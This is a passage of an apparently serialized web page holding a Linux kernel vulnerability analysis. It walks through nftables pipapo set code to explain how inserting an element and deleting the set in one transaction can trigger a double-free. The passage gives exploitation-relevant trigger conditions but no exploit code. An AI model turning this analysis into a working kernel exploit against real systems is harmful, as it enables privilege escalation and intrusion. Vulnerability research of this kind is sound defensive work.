true;\n[...]\n}\n",[50446],{"type":23,"tag":38,"props":50447,"children":50448},{"__ignoreMap":7},[50449,50519,50548,50573,50580,50587,50616,50623],{"type":23,"tag":141,"props":50450,"children":50451},{"class":143,"line":144},[50452,50456,50460,50465,50469,50473,50477,50482,50486,50491,50495,50499,50503,50507,50511,50515],{"type":23,"tag":141,"props":50453,"children":50454},{"style":449},[50455],{"type":29,"value":49523},{"type":23,"tag":141,"props":50457,"children":50458},{"style":449},[50459],{"type":29,"value":49652},{"type":23,"tag":141,"props":50461,"children":50462},{"style":184},[50463],{"type":29,"value":50464}," nft_pipapo_insert",{"type":23,"tag":141,"props":50466,"children":50467},{"style":154},[50468],{"type":29,"value":192},{"type":23,"tag":141,"props":50470,"children":50471},{"style":449},[50472],{"type":29,"value":8334},{"type":23,"tag":141,"props":50474,"children":50475},{"style":449},[50476],{"type":29,"value":19823},{"type":23,"tag":141,"props":50478,"children":50479},{"style":154},[50480],{"type":29,"value":50481}," net ",{"type":23,"tag":141,"props":50483,"children":50484},{"style":160},[50485],{"type":29,"value":197},{"type":23,"tag":141,"props":50487,"children":50488},{"style":750},[50489],{"type":29,"value":50490},"net",{"type":23,"tag":141,"props":50492,"children":50493},{"style":154},[50494],{"type":29,"value":480},{"type":23,"tag":141,"props":50496,"children":50497},{"style":449},[50498],{"type":29,"value":8334},{"type":23,"tag":141,"props":50500,"children":50501},{"style":449},[50502],{"type":29,"value":19823},{"type":23,"tag":141,"props":50504,"children":50505},{"style":154},[50506],{"type":29,"value":49578},{"type":23,"tag":141,"props":50508,"children":50509},{"style":160},[50510],{"type":29,"value":197},{"type":23,"tag":141,"props":50512,"children":50513},{"style":750},[50514],{"type":29,"value":49498},{"type":23,"tag":141,"props":50516,"children":50517},{"style":154},[50518],{"type":29,"value":2168},{"type":23,"tag":141,"props":50520,"children":50521},{"class":143,"line":180},[50522,50526,50530,50535,50539,50544],{"type":23,"tag":141,"props":50523,"children":50524},{"style":449},[50525],{"type":29,"value":31370},{"type":23,"tag":141,"props":50527,"children":50528},{"style":449},[50529],{"type":29,"value":19823},{"type":23,"tag":141,"props":50531,"children":50532},{"style":154},[50533],{"type":29,"value":50534}," nft_set_elem ",{"type":23,"tag":141,"props":50536,"children":50537},{"style":160},[50538],{"type":29,"value":197},{"type":23,"tag":141,"props":50540,"children":50541},{"style":750},[50542],{"type":29,"value":50543},"elem",{"type":23,"tag":141,"props":50545,"children":50546},{"style":154},[50547],{"type":29,"value":2168},{"type":23,"tag":141,"props":50549,"children":50550},{"class":143,"line":205},[50551,50556,50560,50565,50569],{"type":23,"tag":141,"props":50552,"children":50553},{"style":449},[50554],{"type":29,"value":50555}," struct",{"type":23,"tag":141,"props":50557,"children":50558},{"style":154},[50559],{"type":29,"value":50183},{"type":23,"tag":141,"props":50561,"children":50562},{"style":160},[50563],{"type":29,"value":50564},"**",{"type":23,"tag":141,"props":50566,"children":50567},{"style":750},[50568],{"type":29,"value":50192},{"type":23,"tag":141,"props":50570,"children":50571},{"style":154},[50572],{"type":29,"value":758},{"type":23,"tag":141,"props":50574,"children":50575},{"class":143,"line":218},[50576],{"type":23,"tag":141,"props":50577,"children":50578},{"style":154},[50579],{"type":29,"value":766},{"type":23,"tag":141,"props":50581,"children":50582},{"class":143,"line":227},[50583],{"type":23,"tag":141,"props":50584,"children":50585},{"style":154},[50586],{"type":29,"value":8998},{"type":23,"tag":141,"props":50588,"children":50589},{"class":143,"line":241},[50590,50595,50599,50604,50608,50612],{"type":23,"tag":141,"props":50591,"children":50592},{"style":750},[50593],{"type":29,"value":50594}," priv",{"type":23,"tag":141,"props":50596,"children":50597},{"style":154},[50598],{"type":29,"value":12435},{"type":23,"tag":141,"props":50600,"children":50601},{"style":750},[50602],{"type":29,"value":50603},"dirty",{"type":23,"tag":141,"props":50605,"children":50606},{"style":160},[50607],{"type":29,"value":1674},{"type":23,"tag":141,"props":50609,"children":50610},{"style":449},[50611],{"type":29,"value":11148},{"type":23,"tag":141,"props":50613,"children":50614},{"style":154},[50615],{"type":29,"value":1684},{"type":23,"tag":141,"props":50617,"children":50618},{"class":143,"line":262},[50619],{"type":23,"tag":141,"props":50620,"children":50621},{"style":154},[50622],{"type":29,"value":8998},{"type":23,"tag":141,"props":50624,"children":50625},{"class":143,"line":271},[50626],{"type":23,"tag":141,"props":50627,"children":50628},{"style":154},[50629],{"type":29,"value":2573},{"type":23,"tag":32,"props":50631,"children":50632},{},[50633],{"type":29,"value":50634},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":131,"props":50636,"children":50638},{"className":15191,"code":50637,"language":1807,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[50639],{"type":23,"tag":38,"props":50640,"children":50641},{"__ignoreMap":7},[50642,50682,50689,50696,50727,50738,50745,50772,50779],{"type":23,"tag":141,"props":50643,"children":50644},{"class":143,"line":144},[50645,50649,50653,50658,50662,50666,50670,50674,50678],{"type":23,"tag":141,"props":50646,"children":50647},{"style":449},[50648],{"type":29,"value":49523},{"type":23,"tag":141,"props":50650,"children":50651},{"style":449},[50652],{"type":29,"value":49528},{"type":23,"tag":141,"props":50654,"children":50655},{"style":184},[50656],{"type":29,"value":50657}," nft_pipapo_commit",{"type":23,"tag":141,"props":50659,"children":50660},{"style":154},[50661],{"type":29,"value":192},{"type":23,"tag":141,"props":50663,"children":50664},{"style":449},[50665],{"type":29,"value":8079},{"type":23,"tag":141,"props":50667,"children":50668},{"style":154},[50669],{"type":29,"value":49578},{"type":23,"tag":141,"props":50671,"children":50672},{"style":160},[50673],{"type":29,"value":197},{"type":23,"tag":141,"props":50675,"children":50676},{"style":750},[50677],{"type":29,"value":49498},{"type":23,"tag":141,"props":50679,"children":50680},{"style":154},[50681],{"type":29,"value":758},{"type":23,"tag":141,"props":50683,"children":50684},{"class":143,"line":180},[50685],{"type":23,"tag":141,"props":50686,"children":50687},{"style":154},[50688],{"type":29,"value":766},{"type":23,"tag":141,"props":50690,"children":50691},{"class":143,"line":205},[50692],{"type":23,"tag":141,"props":50693,"children":50694},{"style":154},[50695],{"type":29,"value":8998},{"type":23,"tag":141,"props":50697,"children":50698},{"class":143,"line":218},[50699,50703,50707,50711,50715,50719,50723],{"type":23,"tag":141,"props":50700,"children":50701},{"style":148},[50702],{"type":29,"value":14464},{"type":23,"tag":141,"props":50704,"children":50705},{"style":154},[50706],{"type":29,"value":1220},{"type":23,"tag":141,"props":50708,"children":50709},{"style":160},[50710],{"type":29,"value":19293},{"type":23,"tag":141,"props":50712,"children":50713},{"style":750},[50714],{"type":29,"value":50054},{"type":23,"tag":141,"props":50716,"children":50717},{"style":154},[50718],{"type":29,"value":12435},{"type":23,"tag":141,"props":50720,"children":50721},{"style":750},[50722],{"type":29,"value":50603},{"type":23,"tag":141,"props":50724,"children":50725},{"style":154},[50726],{"type":29,"value":758},{"type":23,"tag":141,"props":50728,"children":50729},{"class":143,"line":227},[50730,50734],{"type":23,"tag":141,"props":50731,"children":50732},{"style":148},[50733],{"type":29,"value":37670},{"type":23,"tag":141,"props":50735,"children":50736},{"style":154},[50737],{"type":29,"value":1684},{"type":23,"tag":141,"props":50739,"children":50740},{"class":143,"line":241},[50741],{"type":23,"tag":141,"props":50742,"children":50743},{"style":154},[50744],{"type":29,"value":8998},{"type":23,"tag":141,"props":50746,"children":50747},{"class":143,"line":262},[50748,50752,50756,50760,50764,50768],{"type":23,"tag":141,"props":50749,"children":50750},{"style":750},[50751],{"type":29,"value":50594},{"type":23,"tag":141,"props":50753,"children":50754},{"style":154},[50755],{"type":29,"value":12435},{"type":23,"tag":141,"props":50757,"children":50758},{"style":750},[50759],{"type":29,"value":50603},{"type":23,"tag":141,"props":50761,"children":50762},{"style":160},[50763],{"type":29,"value":1674},{"type":23,"tag":141,"props":50765,"children":50766},{"style":449},[50767],{"type":29,"value":7735},{"type":23,"tag":141,"props":50769,"children":50770},{"style":154},[50771],{"type":29,"value":1684},{"type":23,"tag":141,"props":50773,"children":50774},{"class":143,"line":271},[50775],{"type":23,"tag":141,"props":50776,"children":50777},{"style":154},[50778],{"type":29,"value":8998},{"type":23,"tag":141,"props":50780,"children":50781},{"class":143,"line":293},[50782],{"type":23,"tag":141,"props":50783,"children":50784},{"style":154},[50785],{"type":29,"value":2573},{"type":23,"tag":32,"props":50787,"children":50788},{},[50789,50791,50796,50798,50803,50805,50810,50812,50817,50819,50825,50827,50833,50835,50840],{"type":29,"value":50790},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":38,"props":50792,"children":50794},{"className":50793},[],[50795],{"type":29,"value":49490},{"type":29,"value":50797}," in the ",{"type":23,"tag":38,"props":50799,"children":50801},{"className":50800},[],[50802],{"type":29,"value":49498},{"type":29,"value":50804}," to make it dirty and then delete the ",{"type":23,"tag":38,"props":50806,"children":50808},{"className":50807},[],[50809],{"type":29,"value":49498},{"type":29,"value":50811},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":38,"props":50813,"children":50815},{"className":50814},[],[50816],{"type":29,"value":49498},{"type":29,"value":50818},"'s ",{"type":23,"tag":38,"props":50820,"children":50822},{"className":50821},[],[50823],{"type":29,"value":50824},"->commit()",{"type":29,"value":50826}," method is executed before its ",{"type":23,"tag":38,"props":50828,"children":50830},{"className":50829},[],[50831],{"type":29,"value":50832},"->destroy()",{"type":29,"value":50834}," method, then the ",{"type":23,"tag":38,"props":50836,"children":50838},{"className":50837},[],[50839],{"type":29,"value":50603},{"type":29,"value":50841}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":32,"props":50843,"children":50844},{},[50845],{"type":29,"value":50846},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":131,"props":50848,"children":50850},{"className":15191,"code":50849,"language":1807,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[50851],{"type":23,"tag":38,"props":50852,"children":50853},{"__ignoreMap":7},[50854,50916,50923,50930,50938,50951,50986,51020,51062,51084,51096,51109,51116,51164,51205,51245,51258,51265,51272,51279,51286,51311,51318,51331,51338,51354],{"type":23,"tag":141,"props":50855,"children":50856},{"class":143,"line":144},[50857,50861,50865,50870,50874,50878,50882,50886,50890,50894,50898,50903,50907,50912],{"type":23,"tag":141,"props":50858,"children":50859},{"style":449},[50860],{"type":29,"value":49523},{"type":23,"tag":141,"props":50862,"children":50863},{"style":449},[50864],{"type":29,"value":49652},{"type":23,"tag":141,"props":50866,"children":50867},{"style":184},[50868],{"type":29,"value":50869}," nf_tables_commit",{"type":23,"tag":141,"props":50871,"children":50872},{"style":154},[50873],{"type":29,"value":192},{"type":23,"tag":141,"props":50875,"children":50876},{"style":449},[50877],{"type":29,"value":8079},{"type":23,"tag":141,"props":50879,"children":50880},{"style":154},[50881],{"type":29,"value":50481},{"type":23,"tag":141,"props":50883,"children":50884},{"style":160},[50885],{"type":29,"value":197},{"type":23,"tag":141,"props":50887,"children":50888},{"style":750},[50889],{"type":29,"value":50490},{"type":23,"tag":141,"props":50891,"children":50892},{"style":154},[50893],{"type":29,"value":480},{"type":23,"tag":141,"props":50895,"children":50896},{"style":449},[50897],{"type":29,"value":8079},{"type":23,"tag":141,"props":50899,"children":50900},{"style":154},[50901],{"type":29,"value":50902}," sk_buff ",{"type":23,"tag":141,"props":50904,"children":50905},{"style":160},[50906],{"type":29,"value":197},{"type":23,"tag":141,"props":50908,"children":50909},{"style":750},[50910],{"type":29,"value":50911},"skb",{"type":23,"tag":141,"props":50913,"children":50914},{"style":154},[50915],{"type":29,"value":758},{"type":23,"tag":141,"props":50917,"children":50918},{"class":143,"line":180},[50919],{"type":23,"tag":141,"props":50920,"children":50921},{"style":154},[50922],{"type":29,"value":766},{"type":23,"tag":141,"props":50924,"children":50925},{"class":143,"line":205},[50926],{"type":23,"tag":141,"props":50927,"children":50928},{"style":154},[50929],{"type":29,"value":8998},{"type":23,"tag":141,"props":50931,"children":50932},{"class":143,"line":218},[50933],{"type":23,"tag":141,"props":50934,"children":50935},{"style":154},[50936],{"type":29,"value":50937}," case NFT_MSG_DELSET:\n",{"type":23,"tag":141,"props":50939,"children":50940},{"class":143,"line":227},[50941,50946],{"type":23,"tag":141,"props":50942,"children":50943},{"style":154},[50944],{"type":29,"value":50945}," case NFT_MSG_DESTROYSET:",{"type":23,"tag":141,"props":50947,"children":50948},{"style":443},[50949],{"type":29,"value":50950}," // [1]\n",{"type":23,"tag":141,"props":50952,"children":50953},{"class":143,"line":241},[50954,50959,50964,50969,50973,50977,50981],{"type":23,"tag":141,"props":50955,"children":50956},{"style":184},[50957],{"type":29,"value":50958}," nft_trans_set",{"type":23,"tag":141,"props":50960,"children":50961},{"style":154},[50962],{"type":29,"value":50963},"(trans)->",{"type":23,"tag":141,"props":50965,"children":50966},{"style":750},[50967],{"type":29,"value":50968},"dead",{"type":23,"tag":141,"props":50970,"children":50971},{"style":160},[50972],{"type":29,"value":1674},{"type":23,"tag":141,"props":50974,"children":50975},{"style":472},[50976],{"type":29,"value":3198},{"type":23,"tag":141,"props":50978,"children":50979},{"style":154},[50980],{"type":29,"value":47552},{"type":23,"tag":141,"props":50982,"children":50983},{"style":443},[50984],{"type":29,"value":50985}," // [2]\n",{"type":23,"tag":141,"props":50987,"children":50988},{"class":143,"line":262},[50989,50994,50998,51002,51007,51011,51016],{"type":23,"tag":141,"props":50990,"children":50991},{"style":184},[50992],{"type":29,"value":50993}," list_del_rcu",{"type":23,"tag":141,"props":50995,"children":50996},{"style":154},[50997],{"type":29,"value":192},{"type":23,"tag":141,"props":50999,"children":51000},{"style":160},[51001],{"type":29,"value":1770},{"type":23,"tag":141,"props":51003,"children":51004},{"style":184},[51005],{"type":29,"value":51006},"nft_trans_set",{"type":23,"tag":141,"props":51008,"children":51009},{"style":154},[51010],{"type":29,"value":50963},{"type":23,"tag":141,"props":51012,"children":51013},{"style":750},[51014],{"type":29,"value":51015},"list",{"type":23,"tag":141,"props":51017,"children":51018},{"style":154},[51019],{"type":29,"value":2496},{"type":23,"tag":141,"props":51021,"children":51022},{"class":143,"line":271},[51023,51028,51032,51036,51041,51045,51049,51053,51057],{"type":23,"tag":141,"props":51024,"children":51025},{"style":184},[51026],{"type":29,"value":51027}," nf_tables_set_notify",{"type":23,"tag":141,"props":51029,"children":51030},{"style":154},[51031],{"type":29,"value":192},{"type":23,"tag":141,"props":51033,"children":51034},{"style":160},[51035],{"type":29,"value":1770},{"type":23,"tag":141,"props":51037,"children":51038},{"style":750},[51039],{"type":29,"value":51040},"trans",{"type":23,"tag":141,"props":51042,"children":51043},{"style":154},[51044],{"type":29,"value":12435},{"type":23,"tag":141,"props":51046,"children":51047},{"style":750},[51048],{"type":29,"value":18952},{"type":23,"tag":141,"props":51050,"children":51051},{"style":154},[51052],{"type":29,"value":480},{"type":23,"tag":141,"props":51054,"children":51055},{"style":184},[51056],{"type":29,"value":51006},{"type":23,"tag":141,"props":51058,"children":51059},{"style":154},[51060],{"type":29,"value":51061},"(trans),\n",{"type":23,"tag":141,"props":51063,"children":51064},{"class":143,"line":293},[51065,51070,51074,51079],{"type":23,"tag":141,"props":51066,"children":51067},{"style":750},[51068],{"type":29,"value":51069}," trans",{"type":23,"tag":141,"props":51071,"children":51072},{"style":154},[51073],{"type":29,"value":12435},{"type":23,"tag":141,"props":51075,"children":51076},{"style":750},[51077],{"type":29,"value":51078},"msg_type",{"type":23,"tag":141,"props":51080,"children":51081},{"style":154},[51082],{"type":29,"value":51083},", GFP_KERNEL);\n",{"type":23,"tag":141,"props":51085,"children":51086},{"class":143,"line":801},[51087,51092],{"type":23,"tag":141,"props":51088,"children":51089},{"style":148},[51090],{"type":29,"value":51091}," break",{"type":23,"tag":141,"props":51093,"children":51094},{"style":154},[51095],{"type":29,"value":1684},{"type":23,"tag":141,"props":51097,"children":51098},{"class":143,"line":810},[51099,51104],{"type":23,"tag":141,"props":51100,"children":51101},{"style":154},[51102],{"type":29,"value":51103}," case NFT_MSG_NEWSETELEM:",{"type":23,"tag":141,"props":51105,"children":51106},{"style":443},[51107],{"type":29,"value":51108}," // [3]\n",{"type":23,"tag":141,"props":51110,"children":51111},{"class":143,"line":824},[51112],{"type":23,"tag":141,"props":51113,"children":51114},{"style":154},[51115],{"type":29,"value":8998},{"type":23,"tag":141,"props":51117,"children":51118},{"class":143,"line":839},[51119,51124,51128,51133,51137,51141,51145,51150,51154,51159],{"type":23,"tag":141,"props":51120,"children":51121},{"style":148},[51122],{"type":29,"value":51123}," if",{"type":23,"tag":141,"props":51125,"children":51126},{"style":154},[51127],{"type":29,"value":1220},{"type":23,"tag":141,"props":51129,"children":51130},{"style":750},[51131],{"type":29,"value":51132},"te",{"type":23,"tag":141,"props":51134,"children":51135},{"style":154},[51136],{"type":29,"value":12435},{"type":23,"tag":141,"props":51138,"children":51139},{"style":750},[51140],{"type":29,"value":49498},{"type":23,"tag":141,"props":51142,"children":51143},{"style":154},[51144],{"type":29,"value":12435},{"type":23,"tag":141,"props":51146,"children":51147},{"style":750},[51148],{"type":29,"value":51149},"ops",{"type":23,"tag":141,"props":51151,"children":51152},{"style":154},[51153],{"type":29,"value":12435},{"type":23,"tag":141,"props":51155,"children":51156},{"style":750},[51157],{"type":29,"value":51158},"commit",{"type":23,"tag":141,"props":51160,"children":51161},{"style":160},[51162],{"type":29,"value":51163}," &&\n",{"type":23,"tag":141,"props":51165,"children":51166},{"class":143,"line":848},[51167,51172,51176,51180,51184,51188,51192,51196,51201],{"type":23,"tag":141,"props":51168,"children":51169},{"style":184},[51170],{"type":29,"value":51171}," list_empty",{"type":23,"tag":141,"props":51173,"children":51174},{"style":154},[51175],{"type":29,"value":192},{"type":23,"tag":141,"props":51177,"children":51178},{"style":160},[51179],{"type":29,"value":1770},{"type":23,"tag":141,"props":51181,"children":51182},{"style":750},[51183],{"type":29,"value":51132},{"type":23,"tag":141,"props":51185,"children":51186},{"style":154},[51187],{"type":29,"value":12435},{"type":23,"tag":141,"props":51189,"children":51190},{"style":750},[51191],{"type":29,"value":49498},{"type":23,"tag":141,"props":51193,"children":51194},{"style":154},[51195],{"type":29,"value":12435},{"type":23,"tag":141,"props":51197,"children":51198},{"style":750},[51199],{"type":29,"value":51200},"pending_update",{"type":23,"tag":141,"props":51202,"children":51203},{"style":154},[51204],{"type":29,"value":33664},{"type":23,"tag":141,"props":51206,"children":51207},{"class":143,"line":2304},[51208,51213,51217,51221,51225,51229,51233,51237,51241],{"type":23,"tag":141,"props":51209,"children":51210},{"style":184},[51211],{"type":29,"value":51212}," list_add_tail",{"type":23,"tag":141,"props":51214,"children":51215},{"style":154},[51216],{"type":29,"value":192},{"type":23,"tag":141,"props":51218,"children":51219},{"style":160},[51220],{"type":29,"value":1770},{"type":23,"tag":141,"props":51222,"children":51223},{"style":750},[51224],{"type":29,"value":51132},{"type":23,"tag":141,"props":51226,"children":51227},{"style":154},[51228],{"type":29,"value":12435},{"type":23,"tag":141,"props":51230,"children":51231},{"style":750},[51232],{"type":29,"value":49498},{"type":23,"tag":141,"props":51234,"children":51235},{"style":154},[51236],{"type":29,"value":12435},{"type":23,"tag":141,"props":51238,"children":51239},{"style":750},[51240],{"type":29,"value":51200},{"type":23,"tag":141,"props":51242,"children":51243},{"style":154},[51244],{"type":29,"value":2168},{"type":23,"tag":141,"props":51246,"children":51247},{"class":143,"line":2313},[51248,51253],{"type":23,"tag":141,"props":51249,"children":51250},{"style":160},[51251],{"type":29,"value":51252}," &",{"type":23,"tag":141,"props":51254,"children":51255},{"style":154},[51256],{"type":29,"value":51257},"set_update_list);\n",{"type":23,"tag":141,"props":51259,"children":51260},{"class":143,"line":2335},[51261],{"type":23,"tag":141,"props":51262,"children":51263},{"style":154},[51264],{"type":29,"value":33218},{"type":23,"tag":141,"props":51266,"children":51267},{"class":143,"line":2343},[51268],{"type":23,"tag":141,"props":51269,"children":51270},{"style":154},[51271],{"type":29,"value":8998},{"type":23,"tag":141,"props":51273,"children":51274},{"class":143,"line":2352},[51275],{"type":23,"tag":141,"props":51276,"children":51277},{"style":154},[51278],{"type":29,"value":8274},{"type":23,"tag":141,"props":51280,"children":51281},{"class":143,"line":2421},[51282],{"type":23,"tag":141,"props":51283,"children":51284},{"emptyLinePlaceholder":15},[51285],{"type":29,"value":719},{"type":23,"tag":141,"props":51287,"children":51288},{"class":143,"line":2429},[51289,51294,51298,51302,51307],{"type":23,"tag":141,"props":51290,"children":51291},{"style":184},[51292],{"type":29,"value":51293}," nft_set_commit_update",{"type":23,"tag":141,"props":51295,"children":51296},{"style":154},[51297],{"type":29,"value":192},{"type":23,"tag":141,"props":51299,"children":51300},{"style":160},[51301],{"type":29,"value":1770},{"type":23,"tag":141,"props":51303,"children":51304},{"style":750},[51305],{"type":29,"value":51306},"set_update_list",{"type":23,"tag":141,"props":51308,"children":51309},{"style":154},[51310],{"type":29,"value":2496},{"type":23,"tag":141,"props":51312,"children":51313},{"class":143,"line":2459},[51314],{"type":23,"tag":141,"props":51315,"children":51316},{"style":154},[51317],{"type":29,"value":8998},{"type":23,"tag":141,"props":51319,"children":51320},{"class":143,"line":2467},[51321,51326],{"type":23,"tag":141,"props":51322,"children":51323},{"style":184},[51324],{"type":29,"value":51325}," nf_tables_commit_release",{"type":23,"tag":141,"props":51327,"children":51328},{"style":154},[51329],{"type":29,"value":51330},"(net);\n",{"type":23,"tag":141,"props":51332,"children":51333},{"class":143,"line":2499},[51334],{"type":23,"tag":141,"props":51335,"children":51336},{"emptyLinePlaceholder":15},[51337],{"type":29,"value":719},{"type":23,"tag":141,"props":51339,"children":51340},{"class":143,"line":2507},[51341,51346,51350],{"type":23,"tag":141,"props":51342,"children":51343},{"style":148},[51344],{"type":29,"value":51345}," return",{"type":23,"tag":141,"props":51347,"children":51348},{"style":472},[51349],{"type":29,"value":1707},{"type":23,"tag":141,"props":51351,"children":51352},{"style":154},[51353],{"type":29,"value":1684},{"type":23,"tag":141,"props":51355,"children":51356},{"class":143,"line":2567},[51357],{"type":23,"tag":141,"props":51358,"children":51359},{"style":154},[51360],{"type":29,"value":2573},{"type":23,"tag":32,"props":51362,"children":51363},{},[51364,51365,51371,51373,51378],{"type":29,"value":388},{"type":23,"tag":38,"props":51366,"children":51368},{"className":51367},[],[51369],{"type":29,"value":51370},"nft_set_commit_update()",{"type":29,"value":51372}," function in the code above will call the ",{"type":23,"tag":38,"props":51374,"children":51376},{"className":51375},[],[51377],{"type":29,"value":50824},{"type":29,"value":51379}," method for any objects that were marked as pending an update.",{"type":23,"tag":131,"props":51381,"children":51383},{"className":15191,"code":51382,"language":1807,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[51384],{"type":23,"tag":38,"props":51385,"children":51386},{"__ignoreMap":7},[51387,51427,51434,51463,51470,51483,51515,51522,51583,51594,51601,51635,51642],{"type":23,"tag":141,"props":51388,"children":51389},{"class":143,"line":144},[51390,51394,51398,51402,51406,51410,51415,51419,51423],{"type":23,"tag":141,"props":51391,"children":51392},{"style":449},[51393],{"type":29,"value":49523},{"type":23,"tag":141,"props":51395,"children":51396},{"style":449},[51397],{"type":29,"value":49528},{"type":23,"tag":141,"props":51399,"children":51400},{"style":184},[51401],{"type":29,"value":51293},{"type":23,"tag":141,"props":51403,"children":51404},{"style":154},[51405],{"type":29,"value":192},{"type":23,"tag":141,"props":51407,"children":51408},{"style":449},[51409],{"type":29,"value":8079},{"type":23,"tag":141,"props":51411,"children":51412},{"style":154},[51413],{"type":29,"value":51414}," list_head ",{"type":23,"tag":141,"props":51416,"children":51417},{"style":160},[51418],{"type":29,"value":197},{"type":23,"tag":141,"props":51420,"children":51421},{"style":750},[51422],{"type":29,"value":51306},{"type":23,"tag":141,"props":51424,"children":51425},{"style":154},[51426],{"type":29,"value":758},{"type":23,"tag":141,"props":51428,"children":51429},{"class":143,"line":180},[51430],{"type":23,"tag":141,"props":51431,"children":51432},{"style":154},[51433],{"type":29,"value":766},{"type":23,"tag":141,"props":51435,"children":51436},{"class":143,"line":205},[51437,51441,51445,51449,51454,51458],{"type":23,"tag":141,"props":51438,"children":51439},{"style":449},[51440],{"type":29,"value":19823},{"type":23,"tag":141,"props":51442,"children":51443},{"style":154},[51444],{"type":29,"value":49578},{"type":23,"tag":141,"props":51446,"children":51447},{"style":160},[51448],{"type":29,"value":197},{"type":23,"tag":141,"props":51450,"children":51451},{"style":154},[51452],{"type":29,"value":51453},"set, ",{"type":23,"tag":141,"props":51455,"children":51456},{"style":160},[51457],{"type":29,"value":197},{"type":23,"tag":141,"props":51459,"children":51460},{"style":154},[51461],{"type":29,"value":51462},"next;\n",{"type":23,"tag":141,"props":51464,"children":51465},{"class":143,"line":218},[51466],{"type":23,"tag":141,"props":51467,"children":51468},{"emptyLinePlaceholder":15},[51469],{"type":29,"value":719},{"type":23,"tag":141,"props":51471,"children":51472},{"class":143,"line":227},[51473,51478],{"type":23,"tag":141,"props":51474,"children":51475},{"style":184},[51476],{"type":29,"value":51477}," list_for_each_entry_safe",{"type":23,"tag":141,"props":51479,"children":51480},{"style":154},[51481],{"type":29,"value":51482},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":141,"props":51484,"children":51485},{"class":143,"line":241},[51486,51491,51495,51499,51503,51507,51511],{"type":23,"tag":141,"props":51487,"children":51488},{"style":184},[51489],{"type":29,"value":51490}," list_del_init",{"type":23,"tag":141,"props":51492,"children":51493},{"style":154},[51494],{"type":29,"value":192},{"type":23,"tag":141,"props":51496,"children":51497},{"style":160},[51498],{"type":29,"value":1770},{"type":23,"tag":141,"props":51500,"children":51501},{"style":750},[51502],{"type":29,"value":49498},{"type":23,"tag":141,"props":51504,"children":51505},{"style":154},[51506],{"type":29,"value":12435},{"type":23,"tag":141,"props":51508,"children":51509},{"style":750},[51510],{"type":29,"value":51200},{"type":23,"tag":141,"props":51512,"children":51513},{"style":154},[51514],{"type":29,"value":2496},{"type":23,"tag":141,"props":51516,"children":51517},{"class":143,"line":262},[51518],{"type":23,"tag":141,"props":51519,"children":51520},{"emptyLinePlaceholder":15},[51521],{"type":29,"value":719},{"type":23,"tag":141,"props":51523,"children":51524},{"class":143,"line":271},[51525,51529,51533,51537,51541,51545,51549,51553,51557,51561,51566,51570,51574,51578],{"type":23,"tag":141,"props":51526,"children":51527},{"style":148},[51528],{"type":29,"value":29862},{"type":23,"tag":141,"props":51530,"children":51531},{"style":154},[51532],{"type":29,"value":1220},{"type":23,"tag":141,"props":51534,"children":51535},{"style":160},[51536],{"type":29,"value":19293},{"type":23,"tag":141,"props":51538,"children":51539},{"style":750},[51540],{"type":29,"value":49498},{"type":23,"tag":141,"props":51542,"children":51543},{"style":154},[51544],{"type":29,"value":12435},{"type":23,"tag":141,"props":51546,"children":51547},{"style":750},[51548],{"type":29,"value":51149},{"type":23,"tag":141,"props":51550,"children":51551},{"style":154},[51552],{"type":29,"value":12435},{"type":23,"tag":141,"props":51554,"children":51555},{"style":750},[51556],{"type":29,"value":51158},{"type":23,"tag":141,"props":51558,"children":51559},{"style":160},[51560],{"type":29,"value":22380},{"type":23,"tag":141,"props":51562,"children":51563},{"style":750},[51564],{"type":29,"value":51565}," set",{"type":23,"tag":141,"props":51567,"children":51568},{"style":154},[51569],{"type":29,"value":12435},{"type":23,"tag":141,"props":51571,"children":51572},{"style":750},[51573],{"type":29,"value":50968},{"type":23,"tag":141,"props":51575,"children":51576},{"style":154},[51577],{"type":29,"value":1788},{"type":23,"tag":141,"props":51579,"children":51580},{"style":443},[51581],{"type":29,"value":51582}," // [4]\n",{"type":23,"tag":141,"props":51584,"children":51585},{"class":143,"line":293},[51586,51590],{"type":23,"tag":141,"props":51587,"children":51588},{"style":148},[51589],{"type":29,"value":49970},{"type":23,"tag":141,"props":51591,"children":51592},{"style":154},[51593],{"type":29,"value":1684},{"type":23,"tag":141,"props":51595,"children":51596},{"class":143,"line":801},[51597],{"type":23,"tag":141,"props":51598,"children":51599},{"emptyLinePlaceholder":15},[51600],{"type":29,"value":719},{"type":23,"tag":141,"props":51602,"children":51603},{"class":143,"line":810},[51604,51609,51613,51617,51621,51625,51630],{"type":23,"tag":141,"props":51605,"children":51606},{"style":750},[51607],{"type":29,"value":51608}," set",{"type":23,"tag":141,"props":51610,"children":51611},{"style":154},[51612],{"type":29,"value":12435},{"type":23,"tag":141,"props":51614,"children":51615},{"style":750},[51616],{"type":29,"value":51149},{"type":23,"tag":141,"props":51618,"children":51619},{"style":154},[51620],{"type":29,"value":12435},{"type":23,"tag":141,"props":51622,"children":51623},{"style":184},[51624],{"type":29,"value":51158},{"type":23,"tag":141,"props":51626,"children":51627},{"style":154},[51628],{"type":29,"value":51629},"(set);",{"type":23,"tag":141,"props":51631,"children":51632},{"style":443},[51633],{"type":29,"value":51634}," // 